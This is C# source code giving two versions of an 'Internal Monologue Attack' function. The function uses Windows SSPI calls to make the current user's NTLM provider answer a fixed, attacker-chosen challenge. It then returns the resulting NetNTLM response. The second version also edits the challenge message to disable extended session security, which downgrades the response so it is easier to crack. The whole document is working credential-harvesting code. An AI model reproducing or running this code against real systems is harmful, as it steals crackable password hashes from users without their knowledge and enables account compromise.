//This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788 private static string InternalMonologueForCurrentUser(string challenge) { SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); SECURITY_HANDLE _hOutboundCred; _hOutboundCred.LowPart = _hOutboundCred.HighPart = IntPtr.Zero; SECURITY_INTEGER ClientLifeTime; ClientLifeTime.LowPart = 0; ClientLifeTime.HighPart = 0; SECURITY_HANDLE _hClientContext; uint ContextAttributes = 0; // Acquire credentials handle for current user AcquireCredentialsHandle( WindowsIdentity.GetCurrent().Name, "NTLM", 2, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref _hOutboundCred, ref ClientLifeTime ); // Get a type-1 message from NTLM SSP InitializeSecurityContext( ref _hOutboundCred, IntPtr.Zero, WindowsIdentity.GetCurrent().Name, 0x00000800, 0, 0x10, IntPtr.Zero, 0, out _hClientContext, out ClientToken, out ContextAttributes, out ClientLifeTime ); ClientToken.Dispose(); ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); // Custom made type-2 message with the specified challenge byte[] challengeBytes = StringToByteArray(challenge); SecBufferDesc ServerToken = new SecBufferDesc(new byte[] { 78, 84, 76, 77, 83, 83, 80, 0, 2, 0, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 1, 0x82, 0, 0, challengeBytes[0], challengeBytes[1], challengeBytes[2], challengeBytes[3], challengeBytes[4], challengeBytes[5], challengeBytes[6], challengeBytes[7], 0, 0, 0, 0, 0, 0, 0 }); InitializeSecurityContext( ref _hOutboundCred, ref _hClientContext, WindowsIdentity.GetCurrent().Name, 0x00000800, 0, 0x10, ref ServerToken, 0, out _hClientContext, out ClientToken, out ContextAttributes, out ClientLifeTime ); byte[] result = ClientToken.GetSecBufferByteArray(); ClientToken.Dispose(); ServerToken.Dispose(); //Extract the NetNTLM response from a type-3 message and return it return(ParseNTResponse(result, challenge)); }
//This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788 private InternalMonologueResponse InternalMonologueForCurrentUser(string challenge, bool DisableESS) { SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); SecBufferDesc ServerToken = new SecBufferDesc(MAX_TOKEN_SIZE); SECURITY_HANDLE _hCred; _hCred.LowPart = _hCred.HighPart = IntPtr.Zero; SECURITY_INTEGER ClientLifeTime; ClientLifeTime.LowPart = 0; ClientLifeTime.HighPart = 0; SECURITY_HANDLE _hClientContext; SECURITY_HANDLE _hServerContext; uint ContextAttributes = 0; // Acquire credentials handle for current user AcquireCredentialsHandle( WindowsIdentity.GetCurrent().Name, "NTLM", 3, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref _hCred, ref ClientLifeTime ); // Get a type-1 message from NTLM SSP InitializeSecurityContext( ref _hCred, IntPtr.Zero, WindowsIdentity.GetCurrent().Name, 0x00000800, 0, 0x10, IntPtr.Zero, 0, out _hClientContext, out ClientToken, out ContextAttributes, out ClientLifeTime ); // Get a type-2 message from NTLM SSP (Server) AcceptSecurityContext( ref _hCred, IntPtr.Zero, ref ClientToken, 0x00000800, 0x10, out _hServerContext, out ServerToken, out ContextAttributes, out ClientLifeTime ); // Tamper with the CHALLENGE message byte[] serverMessage = ServerToken.GetSecBufferByteArray(); byte[] challengeBytes = StringToByteArray(challenge); if (DisableESS) { serverMessage[22] = (byte)(serverMessage[22] & 0xF7); } //Replace Challenge Array.Copy(challengeBytes, 0, serverMessage, 24, 8); //Reset reserved bytes to avoid local authentication Array.Copy(new byte[16], 0, serverMessage, 32, 16); ServerToken = new SecBufferDesc(serverMessage); ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE); int resCode = InitializeSecurityContext( ref _hCred, ref _hClientContext, WindowsIdentity.GetCurrent().Name, 0x00000800, 0, 0x10, ref ServerToken, 0, out _hClientContext, out ClientToken, out ContextAttributes, out ClientLifeTime ); //If failed, retry without disabling ESS if (resCode != 0 && DisableESS) { ClientToken.Dispose(); ServerToken.Dispose(); return(InternalMonologueForCurrentUser(challenge, false)); } byte[] result = ClientToken.GetSecBufferByteArray(); ClientToken.Dispose(); ServerToken.Dispose(); //Extract the NetNTLM response from a type-3 message and return it return(ParseNTResponse(result, challenge)); }